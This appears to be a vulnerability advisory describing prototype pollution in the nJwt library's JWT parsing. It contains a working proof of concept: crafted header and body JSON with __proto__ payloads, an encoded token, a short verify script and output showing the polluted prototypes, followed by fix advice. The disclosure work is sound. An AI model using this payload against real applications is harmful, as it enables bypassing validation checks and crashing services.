The nJwt library is susceptible to prototype pollution, particularly affecting the JwtHeader
and JwtBody
objects. These objects lack validation to ensure that attributes assigned to them don't resolve to the object prototype. The problem lies within the Parser.prototype.parse
method, which is invoked when a user attempts to verify a JWT token using the nJwt.verify(token, signingKey)
method.
By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object and its inheritance or bypass certain checks. This can be problematic if the software depends on the existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty
, toString
, or valueOf
).
Create a new JWT token with header
and body
as follows:
JWT Header
{
"typ": "JWT",
"alg": "HS256",
"__proto__": {
"compact": null,
"reservedKeys": ["typ", "random_gibberish"] // original: ["typ", "alg"]
}
}
JWT Body
{
"sub": 1,
"scope": "user",
"jti": "4cf58968-e553-4ebd-8d52-1407c654e8d6",
"iat": 1713925867,
"exp": 1713929467,
"__proto__": {
"compact": null,
"toJSON": null,
"polluted": true
}
}
Resulting Token (Example)
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJjb21wYWN0IjpudWxsLCJyZXNlcnZlZEtleXMiOlsidHlwIiwicmFuZG9tX2dpYmJlcmlzaCJdfX19.eyJzdWIiOjEsInNjb3BlIjoidXNlciIsImp0aSI6ImJhZmIxNmNlLTIwZDYtNGNkNy05NDgzLTY1YTA5NThhOGU2NCIsImlhdCI6MTcxMzk0NTM3OSwiZXhwIjoxNzEzOTQ4OTc5LCJfX3Byb3RvX18iOnsiY29tcGFjdCI6bnVsbCwidG9KU09OIjpudWxsLCJwb2xsdXRlZCI6dHJ1ZX19.0XBjesxGkSMBjI5_LrwobgoyG-VXI2HCXTGVU-fLFuk
Then, supply the token to be verified with nJwt.verify()
function, for example:
// poc.js
var nJwt = require('njwt');
var secureRandom = require('secure-random');
var signingKey = secureRandom(256, {type: 'Buffer'});
var token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJjb21wYWN0IjpudWxsLCJyZXNlcnZlZEtleXMiOlsidHlwIiwicmFuZG9tX2dpYmJlcmlzaCJdfX19.eyJzdWIiOjEsInNjb3BlIjoidXNlciIsImp0aSI6ImJhZmIxNmNlLTIwZDYtNGNkNy05NDgzLTY1YTA5NThhOGU2NCIsImlhdCI6MTcxMzk0NTM3OSwiZXhwIjoxNzEzOTQ4OTc5LCJfX3Byb3RvX18iOnsiY29tcGFjdCI6bnVsbCwidG9KU09OIjpudWxsLCJwb2xsdXRlZCI6dHJ1ZX19.0XBjesxGkSMBjI5_LrwobgoyG-VXI2HCXTGVU-fLFuk";
nJwt.verify(token, signingKey);
As a result, the JwtHeader
and JwtBody
attributes will be polluted as follows:
JWT Header
[JWT Header] Attribute Before Pollution: JwtHeader { typ: 'JWT', alg: 'HS256' }
[JWT Header] Prototype Before Pollution: { reservedKeys: [ 'typ', 'alg' ], compact: [Function: compact] }
[JWT Header] Attribute After Pollution: { typ: 'JWT', alg: 'HS256' }
[JWT Header] Prototype After Pollution: { compact: null, reservedKeys: [ 'typ', 'random_gibberish' ] }
JWT Body
[JWT Body] Attribute Before Pollution: JwtBody {}
[JWT Body] Prototype Before Pollution: { toJSON: [Function (anonymous)], compact: [Function: compact] }
[JWT Body] Attribute After Pollution: {
sub: 1,
scope: 'user',
jti: 'bafb16ce-20d6-4cd7-9483-65a0958a8e64',
iat: 1713945379,
exp: 1713948979
}
[JWT Body] Prototype After Pollution: { compact: null, toJSON: null, polluted: true }
An arbitrary user can override existing attributes with ones that have incompatible types, which may lead to a crash, or bypass certain checks via attribute modification. It might also be possible to create polluted attributes on every object inheriting from JwtBody
and JwtHeader
objects.
For example, in JwtHeader
object, there is a mechanism that prevents any additional attributes beyond the reserved keys (typ
and alg
) from being re-added by filtering them out during object instantiation:
function JwtHeader(header){
// ...
if(header){
return Object.keys(header).reduce(function(acc,key){
if(self.reservedKeys.indexOf(key)===-1 && header.hasOwnProperty(key)){ // can't re-assign 'typ' and 'alg' as they are in reservedKeys array.
acc[key] = header[key];
}
return acc;
},this);
}else{
return this;
}
}
JwtHeader.prototype.reservedKeys = ['typ','alg'];
However, as we can modify the JwtHeader.prototype.reservedKeys
prototype attribute and practically inserting any value into the array, we can bypass such checks.
This issue can be fixed by freezing the prototype, or by implementing validation to check for prototype keywords (__proto__
, constructor
and prototype
), where if it exists, the function denies merging it into JwtBody
and JwtHeader
object, thus preventing the prototype pollution vulnerability.